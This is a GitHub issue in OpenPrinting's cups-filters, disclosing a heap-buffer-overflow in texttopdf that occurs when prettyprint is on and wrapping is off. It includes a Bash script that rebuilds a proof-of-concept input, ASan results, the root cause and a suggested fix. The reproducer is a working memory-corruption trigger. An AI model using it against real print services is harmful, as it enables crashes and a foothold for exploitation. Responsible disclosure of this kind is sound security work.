Skip to content

texttopdf: prettyprint without wrapping corrupts the page heap #197

Description

@kimaiden1984-boop

Summary

With prettyprint=true wrap=false, a source line can advance beyond the
allocated page width. If text beyond that boundary is recognized as a
keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
page allocation.

The document and normal filter options reach the standalone texttopdf
pipeline. The demonstrated write sets a fixed attribute bit at four-byte
intervals; it is reliable heap corruption, but not an arbitrary write.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.txt contains 6,468 spaces followed by while . Its SHA-256 is
9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: texttopdf: prettyprint without wrapping corrupts the page heap
# Finding ID: texttopdf-prettyprint-nowrap-heap-oob
# Trigger: With prettyprint=true wrap=false, a source line can advance beyond
# the allocated page width. If text beyond that boundary is recognized as a
# keyword, cfFilterTextToPDF() writes ATTR_BOLD to lchar_t cells after the
# page allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (6474 bytes)
write_file document.txt 9fbe67a38cc10f92818dd642435843ca7ca7fcebff33b7cc3cd078d02d9446a2 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3BwQkAMAgEsFVuOaGCf9fv3xmSJAAAAAAAAFz7eiofJraT60oZAAA=
POC_PAYLOAD_0

Result

ASan reports a heap-buffer-overflow at texttopdf.c:1292. The plain build
reaches glibc heap consistency checks and aborts with
double free or corruption (out), status 134. Changing the option to
wrap=true completes normally.

Cause and expected behavior

When wrapping is disabled, the input loop at texttopdf.c:883 allows
column to grow beyond the physical page width. The syntax highlighter saves
that position as keycol at line 1304 and, after recognizing a keyword,
iterates from keycol to column at lines 1290-1293. It does not verify that
keycol + page-column offset is inside the contiguous page allocation made
at line 964.

The filter should clip syntax attributes to the allocated row width, or stop
recording/highlighting columns once no-wrap text leaves the page.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions